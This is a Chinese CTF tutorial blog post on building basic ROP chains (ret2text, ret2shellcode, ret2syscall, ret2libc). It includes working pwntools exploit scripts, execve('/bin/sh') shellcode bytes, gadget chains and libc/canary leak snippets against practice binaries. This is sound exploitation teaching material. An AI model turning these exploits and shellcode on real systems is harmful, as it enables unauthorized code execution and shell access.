PWN基础之构造ROP链(基本ROP)

这篇具有很好参考价值的文章主要介绍了PWN基础之构造ROP链(基本ROP)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

ROP

​随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

​ 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

下面介绍几种基本的ROP链的构造思路

ret2text

​ ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

​ 这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子:攻防世界-pwnstack

第一步还是checksec查看保护机制

PWN基础之构造ROP链(基本ROP)

64位程序,只开启了NX保护(栈不可执行),拖入IDA查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  initsetbuf(*(_QWORD *)&argc, argv, envp);
  puts("this is pwn1,can you do that??");
  vuln();
  return 0;
}
__int64 vuln()
{
  char buf; // [rsp+0h] [rbp-A0h]

  memset(&buf, 0, 0xA0uLL);
  read(0, &buf, 0xB1uLL);
  return 0LL;
}

在vuln()函数中buf只有0xA0字节的长度,但是read()函数允许输入0xB1字节的数据导致栈溢出漏洞。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ARa0mKb4-1675325672844)(PWNrop/1673631303820.png)] 在这里发现了一个后门函数。

int backdoor()
{
  return system("/bin/sh");
}

这个后门函数调用了system(“/bin/sh”)函数,所以我们的大致思路就是利用栈溢出漏洞把返回地址修改成backdoor()函数来get shell

exploit

from pwn import *

context.log_level="debug"

p = process("./pwn2")

payload = b"a"*0xa0+b"b"*0x8+p64(0x400766)
#gdb.attach(p)
p.recvuntil("this is pwn1,can you do that??\n")
p.sendline(payload)
p.interactive()

分析

这里需要注意一个问题PWN基础之构造ROP链(基本ROP)

​ 从IDA中可以看到backdoor()函数的起始地址是0x400762,而我们的exploit中修改的返回地址并不是0x400762而是0x400766。

​ 原因如下:我们通过GDB调试的过程中可以看到正常的程序在返回时他的返回地址是这样的

PWN基础之构造ROP链(基本ROP)

在vuln()函数即将结束返回时栈中保存返回地址的位置的内容是0x40079a

PWN基础之构造ROP链(基本ROP)

即main函数在结束对函数vuln()的调用时下一步要执行的指令如果我们把返回地址修改成0x400762程序在接下来执行的指令变成了PWN基础之构造ROP链(基本ROP)
和上图对比一下不难发现问题,在main函数中进行了两次**push rbp;mov rbp,rsp;**这会导致栈的结构遭到破坏所以返回地址要修改成0x400766。

注意: 我曾经一直以为如果返回地址修改成0x400762的话和main调用backdoor()函数没什么区别,显然这是个非常错误的想法。因为程序正常调用一个函数,比如main函数调用vuln()函数时是通过call指令来调用的,call指令的作用是:①将当前的IP或CS和IP压入栈中;②转移。 而想通过修改返回地址来使程序去调用backdoor()函数明显缺少了call指令的这一步骤,这样一来栈的结构就发生了异常程序会报错无法得到我们想要的效果。

ret2shellcode

​ ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

​ 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子:CTF-Wiki ret2shellcode

​ 使用checksec查看保护机制,我这个版本的checksec无法查看程序是32位还是64位,所以再使用file命令查看一下发现是32位。

PWN基础之构造ROP链(基本ROP)

拖入IDA反汇编一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);                       //这里v4是int类型,(char *)&v4是指把v4强制转换
  strncpy(buf2, (const char *)&v4, 0x64u); //成char类型指针
  printf("bye bye ~");                     
  return 0;
}

第八行gets()函数没有对输入长度进行限制存在栈溢出漏洞,第九行代码把输入的数据又复制给了buf2
PWN基础之构造ROP链(基本ROP)

buf2是在bss段上的一段内存地址为0x804a080。由于程序中没有可以利用的后门函数且存在一个已知地址的内存区域,可以考虑在buf2中写入shellcode将程序流程劫持到这里执行我们布置的shellcode,但是还有一个重要的条件就是这段内存必须有可执行权限。通过gdb的vmmap指令可以查看程序各个段的权限

PWN基础之构造ROP链(基本ROP)

​ 可以看到buf2所在的区域有rwx权限,所以这个题的大致思路就是向v4写入shellcode同时将数据溢出把返回地址修改成0x804a080,同时程序本身把我们输入的数据复制到了0x804a080即buf2的位置。这样程序就可以被我们劫持到这个位置来执行shellcode。

exploit

from pwn import *

# context.log_level="debug"

p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())
buf2 = 0x804a080

payload = shellcode.ljust(112,b'a') + p32(buf2)

log.info(shellcraft.sh())
p.recvuntil("No system for you this time !!!\n")
p.sendline(payload)
p.interactive()

注意:这道题我在Ubuntu16的环境上做的,如果是其他环境可能0x804a080处可能没有可执行权限

例二:ctf-challenge sniperoj-pwn100-shellcode-x86-64

checksec查看保护机制

PWN基础之构造ROP链(基本ROP)

64位程序没有NX保护但开启了PIE,开启了PIE我们只在IDA中看到函数的偏移地址没法看到具体的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

程序中的printf()函数输出了buf的地址所以可以绕过PIE保护,read()允许输入的数据过长导致栈溢出

PWN基础之构造ROP链(基本ROP)

栈上有rwx权限而我们的局部变量buf就是在栈上的,所以这个题依然可以使用ret2shellcode

exploit

from pwn import *

context.log_level="debug"

p = process("./shellcode")

p.recvuntil("Do your kown what is it : [")
buf = p.recvuntil("]",drop=True)
buf = int(buf,16)
print("buf = ",buf)

# payload1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" + b'\x00' + p64(buf)
# payload2 = b'a'*24 + p64(buf + 32) + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = b'a'*24 + p64(buf + 32) + b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

p.recvuntil("Now give me your answer : \n")
raw_input("PAUSE")
p.sendline(payload)
p.interactive()

注意:这个题有几个细节需要处理。

  1. 如何接收程序输出的地址:第七行的recvuntil()函数把地址前面的内容全部接收,第八行的作用是继续接收剩下的内容一直到 “ ] ” 这个位置并且接收后去掉 “ ] ” ,drop这个参数如果不写默认是不去掉第一个参数的内容的,这样就完整的接收了程序输出的地址(64位程序地址长度为8 byte)
  2. 这个题中read()函数允许输入0x40字节的长度,我们覆盖到ebp需要0x10+0x8=0x18 即24字节的长度,这样我们就只剩下0x40-0x18=0x28即40字节的长度可以输入,但是我们用shellcraft.sh()生成的shellcode有44字节的长度,所以我们需要一个相对较短的shellcode,可以在Exploit Database Shellcodes (exploit-db.com)查找合适的shellcode
  3. exploit脚本中的payload1和payload2的shellcode是能拿到shell的但是同样的shellcode,payload1的写法是错误的,事实上payload1的写法是ret2shellcode中最基本的构造格式但在这个题目中,shellcode的长度为23字节,我们需要充的长度只有24字节,这回导致ret指令执行后shellcode距离rsp过近。如下图:PWN基础之构造ROP链(基本ROP)
    左边是shellcode的汇编代码,右边是ret执行过后rsp所在的位置,shellcode中有三个push指令,当三次push之后shellcode的下半部分会被其他数据覆盖掉导致无法继续往下执行,所以这道题中的payload要按照payload2中的格式构造。payload2中还要重新计算shellcode的地址根据构造的顺序可以看出shellcode的首地址应该是buf+0x10+0x8+0x8=0x20即buf+32

我使用两种不同的shellcode长度有所差异,以后有用到shellcode的地方可以尝试这两种

shellcode1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"		# 23 byte
shellcode2 = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"		# 22 byte

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

系统调用

操作系统的主要功能是为管理硬件资源和为应用程序开发人员提供良好的环境来使应用程序具有更好的兼容性,由于系统的有限资源可能被多个不同的应用程序访问,因此,如果不加以保护,那么用程序难免产生冲突。所以,现代操作系统都将可能产生冲突的系统资源给保护起来,阻止应用程序直接访问。这些系统资源包括文件、网络、IO、各种设备等。为了达到这个目的,内核提供一系列具备预定功能的多内核函数,通过一组称为系统调用(system call)的接口呈现给用户。系统调用把应用程序的请求传给内核,调用相应的内核函数完成所需的处理,将处理结果返回给应用程序。这些接口往往通过中断来实现。

系统调用的原理

现代操作系统通常让代码运行在两种不同特权的模式下用户态(目态)和内核态(管态)以限制他们的权力。系统调用要操作一些有限的资源,无疑是运行在内核态的。那么用户态程序如何运行内核态的代码呢?操作系统一般是通过中断来从用户态切换到内核态。

中断

中断是指一个硬件或软件发出的请求(电信号),要求CPU暂停当前的工作转手去处理更加重要的事情。

中断一般有两个属性,中断号和中断处理程序(ISR,Interrupt Service Routine)。在内核中,有一个数组称为中断向量表,包含了中断号及其对应中断处理程序的指针。中断到来时,CPU暂停当前执行的代码,根据中断的中断号,在中断向量表中找到对应的中断处理程序,并调用它。中断处理程序执行完成之后,CPU会继续执行之前的代码。

中断有两种类型:一种称为硬件中断,这种中断来自于硬件的异常或事件发生;另一种称为软件中断,软件中断通常是一条指令(i386下是int),带有一个参数记录中断号,使用这条指令用户可以手动触发某个中断并执行中断处理程序。

中断向量

Intel x86 系列微机共支持256 种向量中断,为使处理器较容易地识别每种中断源,将它们从0~255 编号,即赋予一个中断类型码 n,Intel 把这个8 位的无符号整数叫做一个向量,因此,也叫中断向量。

所有256 种中断可分为两大类:异常和中断。

异常又分为故障(Fault)、陷阱(Trap)和夭折(Abort),它们的共同特点是既不使用中断控制器,又不能被屏蔽。

中断又分为外部可屏蔽中断(INTR)和外部非屏蔽中断(NMI),所有I/O 设备产生的中断请求(IRQ)均引起屏蔽中断,而紧急的事件(如硬件故障)引起的故障产生非屏蔽中断。

非屏蔽中断的向量和异常的向量是固定的,而屏蔽中断的向量可以通过对中断控制器的编程来改变。Linux 对256 个向量的分配如下。

• 从0~31 的向量对应于异常和非屏蔽中断。

• 从32~47 的向量(即由I/O 设备引起的中断)分配给屏蔽中断。

• 剩余的从48~255 的向量用来标识软中断。

Linux 只用了其中的一个(即128 或0x80向量)用来实现系统调用

当用户态下的进程执行一条int 0x80 汇编指令时,CPU 就切换到内核态,并开始执行system_call() 内核函数。

由于中断号是有限的,操作系统不舍得每一个系统调用对应一个中断号,而更倾向于用一个或少数几个中断号来对应所有的系统调用。每个系统调用对应一份系统调用号,这个系统调用号在执行int 0x80指令前会放置在某个固定的寄存器里(在Linux中eax寄存器是负责传递系统调用号的),对应的中断代码会取得这个系统调用号,并且调用正确的函数。

系统调用的过程

操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);

  2. API 将系统调用号存入 eax,然后通过中断调用使系统进入内核态;

  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);

  4. 系统调用完成相应功能,将返回值存入 eax,返回到中断处理函数;

  5. 中断处理函数返回到 API 中;

  6. API 将 eax 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 eax;
  2. 把函数参数存入其它通用寄存器(对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由ebx,ecx,edx,esi,edi和ebp这个6个寄存器完成);
  3. 触发 0x80 号中断(int 0x80)。

PWN基础之构造ROP链(基本ROP)

例子:CTF-Wiki bamboofox-ret2syscall

第一步checksec查看保护机制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vP5S8QBO-1675325672854)(PWNrop/1673886012640.png)]

32位程序拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

这个程序里只有一个栈溢出漏洞,没有后门函数没有system()函数的调用,而且开启了NX保护且程序中也没有像上一题一样存在一个已知地址拥有rwx权限的内存区域没有办法使用ret2shelcode的办法来get shell,这个时候我们可以考虑 ret2syscall的办法触发系统调用。而想要触发系统调用我们就要控制eax,ebx,ecx,edx,esi,edi,ebp这几个寄存器。这里如果我们想get shell就要用到**execve()**这个系统调用,系统调用号为11(0xb)。**execve() 系统调用的作用是运行另外一个指定的程序。**它会把新程序加载到当前进程的内存空间内,当前的进程会被丢弃,它的堆、栈和所有的段数据都会被新进程相应的部分代替,然后会从新程序的初始化代码和 main 函数开始运行。同时,进程的 ID 将保持不变。execve() 系统调用通常与 fork() 系统调用配合使用。从一个进程中启动另一个程序时,通常是先 fork() 一个子进程,然后在子进程中使用 execve() 变身为运行指定程序的进程。 例如,当用户在 Shell 下输入一条命令启动指定程序时,Shell 就是先 fork() 了自身进程,然后在子进程中使用 execve() 来运行指定的程序。

execve()的函数原型是

int execve(const char *filename, char *const argv[], char *const envp[]);

后面两个参数用不到我们可以置为0,第一参数我们要传入/bin/sh来get shell。而要想控制寄存器和查找字符串可以使用ROPgadget这个命令来在程序中寻找控制我们想要的寄存器的汇编指令。

寻找eax

PWN基础之构造ROP链(基本ROP)

选择第二个0x80bb196

寻找ebx

PWN基础之构造ROP链(基本ROP)

选择0x806eb90,这样一段指令就能让我们控制ebx,ecx,edx三个寄存器

还需要/bin/sh字符串(有的时候只用sh字符串也行)

PWN基础之构造ROP链(基本ROP)

最后还有最最重要的int 0x80指令触发0x80号中断

PWN基础之构造ROP链(基本ROP)

接下来的大致思路就是通过栈溢出漏洞改写返回地址只不过这次我们并不返回到函数地址上而是返回我们控制寄存器的指令的地址上再触发中断之前我们先要在eax中保存系统调用号(由于我们需要execve()系统调用所以我们需要存入0xb)然后给系统调用传入参数,第一参数在ebx(0x80be408:/bin/sh),第二个参数在ecx(0),第三个参数在edx(0)。如果需要更多则以此类推。最后执行int 0x80来触发中断。

exploit

from pwn import *

context.log_level="debug"

p = process("./rop")

pop_eax = 0x080bb196
pop_ebx_ecx_edx = 0x0806eb90 
bin_sh = 0x80BE408
int_0x80 = 0x08049421

payload = b'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

p.recvuntil("What do you plan to do?\n")
p.sendline(payload)
p.interactive()                  

PWN基础之构造ROP链(基本ROP)
这里要注意这三个寄存器的顺序,粗(jiu)心(shi)的(wo)师(ben)傅(ren)可能搞错顺序导致出不来结果。

分析

我们用GDB来看一下payload发送过去之后栈中的情况以及程序的执行过程

PWN基础之构造ROP链(基本ROP)

此时gets()函数已经返回到它执行完毕后该返回的位置了 由于我们写入的变量v4是在main函数中声明的,所以我们修改的其实是main函数的返回地址。红框里的这几个指令就是我们布置好用来控制寄存器的指令而且他的顺序也和我们预想的一样。查看一下此时的栈

PWN基础之构造ROP链(基本ROP)

ebp指向的地址是0xff8b6e08,ebp再往高处走紧接着的就是保存返回地址的位置即0xff8b6e0c。上图中可以看到这个位置保存的就是pop eax的地址。从这里开始就是我们payload中的关键部分p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)继续往下执行

PWN基础之构造ROP链(基本ROP)

leave;ret;(这两条指令的作用上篇文章有提到)执行完毕以后rip指向了pop eax;esp则指向0xb的位置这个值是我们想要传递给eax的系统调用号指向玩pop eax后下一条ret指令相当于pop rip这样rip又指向了0x6eb90这个位置即控制edx,ecx,ebx三个寄存器的三条指令还有ret。

PWN基础之构造ROP链(基本ROP)

可以看到三次pop指令都把我们想要传递的参数传到了我们想要的寄存器中,所以payload中的p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)这一部分的顺序就是按照数据在栈上的位置以及指令对栈的操作而设计的。

PWN基础之构造ROP链(基本ROP)

此时esp指向了我们在栈中写入的int 0x80指令的地址,下一步执行ret后rip指向int 0x80程序触发中断

PWN基础之构造ROP链(基本ROP)

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

延迟绑定机制(Lazy Binding)

关于延迟绑定机制推荐一个[师傅写的文章](Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com))。

师傅的B站视频

例一:CTF-Wiki ret2libc1

checksec查看保护机制

PWN基础之构造ROP链(基本ROP)

32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

gets()函数这里没有对输入进行限制存在栈溢出漏洞,但是在看IDA中还能看到plt中有system()函数,这样我们可以让程序返回到system@plt这里如果你仔细看了前面介绍延迟绑定机制的文章你就会很容易明白这样操作的原理。但是我们想要get shell还需要给system()一个/bin/sh的参数,可以在IDA中使用shift+F12来查找程序中的字符串,或者使用ROPgadget命令。

PWN基础之构造ROP链(基本ROP)

PWN基础之构造ROP链(基本ROP)

exploit

from pwn import *

context.log_level="debug"

p = process("./ret2libc1")

bin_sh = 0x8048720
system_plt = 0x8048460

payload = b'a'*108 + b'bbbb' + p32(system_plt) +b'bbbb' + p32(bin_sh)

# raw_input("PAUSE")
p.recvuntil("RET2LIBC >_<\n")
p.sendline(payload)
p.interactive()

例二:CTF-Wiki ret2libc2

checksec查看保护机制

PWN基础之构造ROP链(基本ROP)

同样32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

同样也是在gets()函数触发栈溢出,我们也能在.plt中找到system()但是这次并不能找到/bin/sh这个字符串来作为参数get shell[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BmphrN9e-1675325672872)(PWNrop/1675235686737.png)]

PWN基础之构造ROP链(基本ROP)

其实这个时候我们可以尝试使用ROPgadget只查找“sh”,有的时候sh字符串作为参数传入system()也能get shell

PWN基础之构造ROP链(基本ROP)

但是这个题不行,它会报这样的错误:

PWN基础之构造ROP链(基本ROP)

既然没有/bin/sh字符串,那么我们就自己写进去一个

PWN基础之构造ROP链(基本ROP)

PWN基础之构造ROP链(基本ROP)

这个程序中有这样一个已知地址的字符型数组且有rw权限,刚好可以用来存我们输入的字符串

这里在写exploit的时候有两个思路

exploit1

from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080

payload = b'a'*112+ p32(gets_plt)+ p32(pop_ebx)+ p32(buf2)+ p32(system_plt)+ b"bbbb"+ p32(buf2)

sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

这个利用方法是和CTF-Wiki上的思路一致的调用gets()函数往buf2上写入/bin/sh但是写入的buf2的地址也会留在栈上所以这里用到了一个pop ebx先把栈上的buf2的地址出栈给一个空闲的寄存器ebx使得ret指令能把system_plt的地址正确的pop 给eip(ret指令相当于pop eip)这就是栈平衡问题。

exploit2

from pwn import *

context(os="linux",arch="i386",log_level="debug")

p = process("./ret2libc2")

buf2 = 0x804a080
gets_plt = 0x8048460
system_plt = 0x8048490
_main_add = 0x8048648

payload = b'a'*112 + p32(gets_plt) + p32(_main_add) + p32(buf2)
payload1 = b'a'*104 + p32(system_plt) + b'bbbb' + p32(buf2)

raw_input(">>>")

p.recvuntil("What do you think ?")
p.sendline(payload)
p.sendline("/bin/sh")
p.recvuntil("What do you think ?")
p.sendline(payload1)
p.interactive()

这个思路是先调用gets()函数往buf2中输入/bin/sh但是我们把gets函数的返回地址写成了main这样程序再一次从main函数执行,触发第二次栈溢出,第二次栈溢出我们再把返回地址改成system_plt这样来get shell。但是要注意第二次payload的长度

例三:CTF-Wiki ret2libc3

checksec查看保护机制

PWN基础之构造ROP链(基本ROP)

同样32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

同样也是在gets()函数触发栈溢出,但是这一次没有了system.plt,也没有/bin/sh字符串。那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

  • https://github.com/lieanu/LibcSearcher

或者通过在线查询网站libc database search (blukat.me)

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

基地址=真实地址-偏移地址

exploit

from pwn import *                                                   
from LibcSearcher import *                                          
                                                                    
context(os="linux",arch="i386",log_level="debug")                   
                                                                    
io = process("./ret2libc3")                                         
                                                                    
elf = ELF("./ret2libc3")                                            
puts_plt = elf.plt["puts"]                                          
puts_got = elf.got["puts"]                                          
main_addr = elf.symbols["main"]                                     
                                                                    
payload = b'a'*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got) 
                                                                    
io.recvuntil("Can you find it !?")                                  
io.sendline(payload)                                                
                                                                    
puts_addr = u32(io.recv(4))                                         
print("puts_addr = ",hex(puts_addr))                                
                                                                    
libc = LibcSearcher("puts",puts_addr)                                
libcbase = puts_addr - libc.dump("puts")                             
system_addr = libcbase + libc.dump("system")                         
binsh_addr = libcbase + libc.dump("str_bin_sh")                      
                                                                    
payload = b'a'*112 + p32(system_addr) + b'bbbb' + p32(binsh_addr)   
                                                                    
io.sendline(payload)                                                
io.interactive()                                                    

细节问题

接收泄露的函数地址时可采用以下方法接收,因为函数在libc中的地址大多以7f开头

addr = u32(io.recvuntil('\x7f')[-4:])
addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#或者
addr = u64(io.recv(6).ljust(8,b'\x00'))

64位程序下,在接收利用格式化字符串泄露canary的值时可采用一下方法

p.sendline("%Index$p") #泄漏cannary Index为canary相对于格式化字符串的参数位置
p.recvuntil("0x")
canary = int(p.recv(16),16) #接收16个字节

如果是利用垃圾数据覆盖掉canary末尾的\x00截断符则注意在接受时要把末尾覆盖掉的\x00补回去

canary = u64(io.recv(7).rjust(8,b'\x00'))

需要注意的是,32 位和 64 位程序有以下简单的区别:

  • x86
    • 函数参数函数返回地址的上方
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

更多内容欢迎访问我的个人博客文章来源地址https://www.toymoban.com/news/detail-492669.html

到了这里,关于PWN基础之构造ROP链(基本ROP)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • C++ 学习 ::【基础篇:16】:C++ 类的基本成员函数:拷贝构造函数(认识、特征、注意点及典型使用场景)及其基本写法与调用

    本系列 C++ 相关文章 仅为笔者学习笔记记录,用自己的理解记录学习!C++ 学习系列将分为三个阶段: 基础篇、STL 篇、高阶数据结构与算法篇 ,相关重点内容如下: 基础篇 : 类与对象 (涉及C++的三大特性等); STL 篇 : 学习使用 C++ 提供的 STL 相关库 ; 高阶数据结构与算

    2024年02月08日
    浏览(47)
  • C++ 学习 ::【基础篇:13】:C++ 类的基本成员函数:类类型成员的初始化与构造函数问题

    本系列 C++ 相关文章 仅为笔者学习笔记记录,用自己的理解记录学习!C++ 学习系列将分为三个阶段: 基础篇、STL 篇、高阶数据结构与算法篇 ,相关重点内容如下: 基础篇 : 类与对象 (涉及C++的三大特性等); STL 篇 : 学习使用 C++ 提供的 STL 相关库 ; 高阶数据结构与算

    2024年02月08日
    浏览(63)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(34)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(45)
  • windows pwn 基础知识

    winchecksec winchecksec 是 windows 版的 checksec ,不过有时候结果不太准确。 checksec(x64dbg) x64dbg 的插件 checksec 检查效果比较准确,并且可以连同加载的 dll 一起检测。 将 release 的插件按 32 和 64 位分别放到 x32dbg 和 x64dbg 的 plugins 目录,如果找不到 plugins 目录则打开调试器然后关闭

    2024年02月15日
    浏览(56)
  • WIN11本地安全机构保护未开启解决办法

    明明已经开启了内核隔离中的本地安全机构保护,但是仍然提示已关闭,并且重启也不起作用,需要修改注册表文件。 注册表路径:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa RunAsPPL数值修改为2 RunAsPPLBoot数值修改为2(可能需要手动创建) 补充参考来源:这个本地安全机构保

    2024年02月11日
    浏览(47)
  • pwn打打基础——BUUCTF篇(1)

    BUUCTF刷刷基础题先,打牢下基础 就非常经典的起引导作用的nc题 格式:nc IP 端口 checksec一下 发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码 发现有gets()函数(并不会限制输入的字节数),也有system(\\\"/bin/sh\\\"),没有什么其它陷阱。那这就是

    2024年02月05日
    浏览(42)
  • Win11本地安全机构保护无法正常开启解决方法

    Win11本地安全机构保护无法正常开启解决方法分享。最近有用户使用电脑的时候出现了错误提示,系统的本地安全机构保护无法正常开启了。那么这个情况是什么原因导致的呢?接下来我们一起来看看以下的解决方法分享吧。 方法一: 打开 Windows 注册表编辑器。 导航到以下

    2024年02月01日
    浏览(64)
  • Kernel Pwn基础教程之 Double Fetch

    Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存

    2024年02月08日
    浏览(42)
  • 5.2 基于ROP漏洞挖掘与利用

